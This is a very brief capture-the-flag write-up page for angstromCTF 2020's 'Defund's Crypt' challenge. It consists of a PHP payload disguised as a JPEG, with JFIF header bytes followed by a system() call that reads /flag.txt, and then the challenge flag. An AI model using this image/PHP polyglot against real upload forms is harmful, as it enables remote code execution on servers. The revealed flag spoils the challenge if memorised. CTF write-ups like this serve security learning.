> For the complete documentation index, see [llms.txt](https://the-winrars.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://the-winrars.gitbook.io/writeups/2020-writeups/angstrom/defunds-crypt.md).

# Defund's Crypt

```php
ÿØÿà JFIF 

 
<?php
system("cat /flag.txt");
?>
```

## actf{th3\_ch4ll3ng3\_h4s\_f4ll3n\_but\_th3\_crypt\_rem4ins}